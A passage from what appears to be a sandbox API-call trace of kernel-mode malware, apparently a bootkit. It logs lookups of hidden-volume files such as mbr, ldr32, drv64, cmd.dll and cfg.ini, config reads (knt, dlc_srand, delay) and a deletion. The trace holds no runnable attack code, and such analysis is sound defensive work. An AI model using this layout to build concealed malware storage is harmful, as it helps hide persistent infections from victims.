| out: Event=0xfffff880028b22c0) [0126.879] IdePortDispatch () returned 0x103 [0126.879] KeWaitForMutexObject () returned 0x0 [0126.879] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.880] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.880] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.880] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.880] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.880] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.880] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.880] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.880] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.880] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.880] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.880] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.880] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.880] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.880] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.880] KeLeaveCriticalRegion () [0126.880] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.880] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.880] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.880] KeEnterCriticalRegion () [0126.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.880] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.880] IdePortDispatch () returned 0x103 [0126.880] KeWaitForMutexObject () returned 0x0 [0126.880] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.880] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.881] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.881] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.881] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.881] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.881] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.881] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.881] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.881] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.881] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.881] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.881] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.881] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.881] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.881] KeLeaveCriticalRegion () [0126.881] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.881] ReleaseMutex (hMutex=0x100) returned 1 [0126.881] Sleep (dwMilliseconds=0x2bf20) [0126.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ed40810, dwHighDateTime=0x1d24fa4)) [0126.891] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.891] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.891] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.891] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.891] KeEnterCriticalRegion () [0126.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.891] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.891] IdePortDispatch () returned 0x103 [0126.892] KeWaitForMutexObject () returned 0x0 [0126.892] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.892] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.892] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.892] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.892] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.892] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa780 [0126.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.892] KeLeaveCriticalRegion () [0126.892] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.892] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.892] KeEnterCriticalRegion () [0126.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.892] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.892] KeLeaveCriticalRegion () [0126.892] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.892] KeEnterCriticalRegion () [0126.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.892] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.892] IdePortDispatch () returned 0x103 [0126.893] KeWaitForMutexObject () returned 0x0 [0126.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.893] KeLeaveCriticalRegion () [0126.893] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.893] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.893] KeEnterCriticalRegion () [0126.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b33000 [0126.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.893] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.893] IdePortDispatch () returned 0x103 [0126.893] KeWaitForMutexObject () returned 0x0 [0126.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.894] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.894] IdePortDispatch () returned 0x103 [0126.894] KeWaitForMutexObject () returned 0x0 [0126.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.894] KeLeaveCriticalRegion () [0126.894] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.895] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.895] KeEnterCriticalRegion () [0126.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.895] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.895] KeLeaveCriticalRegion () [0126.895] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.895] KeEnterCriticalRegion () [0126.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.895] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.895] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.895] KeLeaveCriticalRegion () [0126.895] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.895] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.895] KeEnterCriticalRegion () [0126.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.895] ExFreePoolWithTag (P=0xfffffa8003bfa780, Tag=0x0) [0126.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.895] KeLeaveCriticalRegion () [0126.895] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.895] ReleaseMutex (hMutex=0xf0) returned 1 [0126.895] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.895] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.895] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.895] KeEnterCriticalRegion () [0126.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.895] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.895] IdePortDispatch () returned 0x103 [0126.896] KeWaitForMutexObject () returned 0x0 [0126.896] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.896] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.896] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.896] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.896] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.896] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dab90 [0126.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.896] KeLeaveCriticalRegion () [0126.896] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.896] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.896] KeEnterCriticalRegion () [0126.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.896] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.896] KeLeaveCriticalRegion () [0126.896] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.896] KeEnterCriticalRegion () [0126.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.896] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.896] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.896] IdePortDispatch () returned 0x103 [0126.897] KeWaitForMutexObject () returned 0x0 [0126.897] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.897] KeLeaveCriticalRegion () [0126.897] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.897] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.897] KeEnterCriticalRegion () [0126.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.897] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b34000 [0126.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.897] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.897] IdePortDispatch () returned 0x103 [0126.897] KeWaitForMutexObject () returned 0x0 [0126.897] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.898] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.898] IdePortDispatch () returned 0x103 [0126.898] KeWaitForMutexObject () returned 0x0 [0126.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.898] KeLeaveCriticalRegion () [0126.898] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.899] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.899] KeEnterCriticalRegion () [0126.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.899] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.899] KeLeaveCriticalRegion () [0126.899] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.899] KeEnterCriticalRegion () [0126.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.899] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.899] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.899] KeLeaveCriticalRegion () [0126.899] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.899] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.899] KeEnterCriticalRegion () [0126.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.899] ExFreePoolWithTag (P=0xfffffa80037dab90, Tag=0x0) [0126.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.899] KeLeaveCriticalRegion () [0126.899] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.899] ReleaseMutex (hMutex=0xf0) returned 1 [0126.899] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.899] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.899] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.899] KeEnterCriticalRegion () [0126.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.900] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.900] IdePortDispatch () returned 0x103 [0126.900] KeWaitForMutexObject () returned 0x0 [0126.900] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.900] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.900] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.900] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.900] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.900] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.900] KeLeaveCriticalRegion () [0126.900] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.900] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.900] KeEnterCriticalRegion () [0126.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.900] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.900] KeLeaveCriticalRegion () [0126.900] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.900] KeEnterCriticalRegion () [0126.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.901] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.901] IdePortDispatch () returned 0x103 [0126.901] KeWaitForMutexObject () returned 0x0 [0126.901] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.901] KeLeaveCriticalRegion () [0126.901] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.901] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.901] KeEnterCriticalRegion () [0126.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.901] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b35000 [0126.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.901] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.901] IdePortDispatch () returned 0x103 [0126.902] KeWaitForMutexObject () returned 0x0 [0126.902] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.902] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.902] IdePortDispatch () returned 0x103 [0126.902] KeWaitForMutexObject () returned 0x0 [0126.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.902] KeLeaveCriticalRegion () [0126.902] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.903] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.903] 